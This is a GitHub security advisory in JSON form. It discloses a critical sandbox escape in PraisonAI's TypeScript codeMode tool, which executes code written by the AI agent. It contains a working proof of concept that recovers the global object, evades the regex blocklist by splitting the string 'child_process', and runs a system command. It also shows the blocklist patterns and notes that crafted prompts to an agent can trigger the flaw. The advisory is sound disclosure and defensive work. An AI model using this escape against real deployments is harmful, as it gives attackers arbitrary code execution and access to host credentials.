{"id":"GHSA-p69m-4f92-2v84","summary":"PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool","details":"## Summary\n\nThe `codeMode` tool in `src/praisonai-ts/src/tools/builtins/code-mode.ts` uses `new Function()` with a `with(sandbox)` pattern to execute LLM-generated code. The blocklist-based \"sandbox\" can be trivially bypassed via `Function('return this')()` to recover the global object, followed by `global.require()` with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.\n## Details\n**Vulnerable code (lines 187–191):**\n```typescript\nconst fn = new Function(\n  'sandbox',\n  `with (sandbox) { ${code} }`\n);\nconst result = fn(sandbox);\n```\n\nThe `code` parameter comes from LLM tool call arguments (the `execute` method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):\n\n```typescript\nconst blockedPatterns = [\n  /require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)/,\n  /require\\s*\\(\\s*['\"]fs['\"]\\s*\\)/,\n  /import\\s+.*from\\s+['\"]child_process['\"]/,\n  /process\\.exit/,\n  /eval\\s*\\(/,\n];\n```\n\n**Three fundamental weaknesses:**\n\n1. **`with(sandbox)` does not provide isolation.** The `with` statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets `process: undefined` and `require: undefined`, but these are recovered via the global scope:\n   ```javascript\n   const g = Function('return this')();\n   g.require('child_' + 'process')\n   ```\n\n2. **Blocklist evasion via string concatenation.** The regex `/require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)/` requires the literal string `'child_process'` or `\"child_process\"` inside `require()`. Using `require('child_' + 'process')` bypasses this because the regex sees a variable concatenation, not a literal string.\n\n3. **`Function('return this')()` is not blocked.** None of the blocklist patterns match `Function(`, `return this`, or `global.require`.\n\n## PoC\n\n**Setup:** Clean checkout at commit `d5f1114a`, Node.js v20.20.0 (tested environment).\n\n**Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):**\n```javascript\n// This code bypasses ALL blocklist patterns and achieves RCE:\nconst code = `\nconst Func = (function(){}).constructor;\nconst proc = Func('return process')();\nconsole.log('process.version:', proc.version);\nconst g = Function('return this')();\nconst mod = 'child_' + 'process';\nconst cp = g.require(mod);\nconsole.log('RCE:', cp.execSync('id').toString().trim());\n`;\n```\n\n**Observed output (executed in this environment):**\n```\nOUT: process.version: v20.20.0\nOUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)\n```\n\nThe escape was confirmed by executing the exact code-mode sandbox pattern (`new Function('sandbox', 'with (sandbox) { ... }')`) with the blocklist applied first. ALL blocklist patterns were bypassed, and the `id` command returned the real system user ID.\n\n**Negative control — blocklist correctly catches direct require:**\n```javascript\nconst code = `require('child_process')`;\n// Returns: \"Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)\"\n```\n\n**Negative control — blocklist correctly catches eval:**\n```javascript\nconst code = `eval('process')`;\n// Returns: \"Blocked pattern detected: eval\\s*\\(\"\n```\n\n**Cleanup:** No persistence needed; the code runs in-process.\n\n## Impact\n\nAn attacker who can influence the `code` parameter of the `codeMode` tool (via crafted prompts to an AI agent using praisonai-ts) achieves **full arbitrary code execution** on the host system. This includes:\n\n- **Read/write any file** accessible to the process user\n- **Execute arbitrary system commands** via `child_process`\n- **Exfiltrate environment variables** containing API keys, tokens, and credentials\n- **Install persistent backdoors** by writing to startup files\n- **Move laterally** in containerized environments\n\n## Suggested remediation\n\nThe `with(sandbox)` + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:\n\n1. **Use `vm` module with proper context isolation:**\n```typescript\nimport { createContext, runInContext } from 'vm';\nconst sandbox = createContext({ /* safe globals only */ });\nrunInContext(code, sandbox, { timeout: 5000 });\n```\n\n2. **Or use `isolated-vm`** for true process-level isolation with separate V8 isolates.\n\n3. **Or run code in a subprocess** (like the Python `_execute_code_sandboxed` pattern already used in `python_tools.py`) with a clean environment and resource limits.\n\n4. If a blocklist approach must be retained, add patterns for:\n   - `Function(` / `new Function`\n   - `constructor` / `__proto__` / `prototype`\n   - `return this` / `return global`\n   - `global` / `globalThis` / `window`\n   But note: blocklist approaches are inherently fragile and will continue to have bypasses.","aliases":["CVE-2026-57141"],"modified":"2026-07-20T21:56:45.692488Z","published":"2026-06-18T14:26:37Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-06-18T14:26:37Z","nvd_published_at":null,"cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p69m-4f92-2v84"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"affected":[{"package":{"name":"praisonai","ecosystem":"npm","purl":"pkg:npm/praisonai"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.7.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-p69m-4f92-2v84/GHSA-p69m-4f92-2v84.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}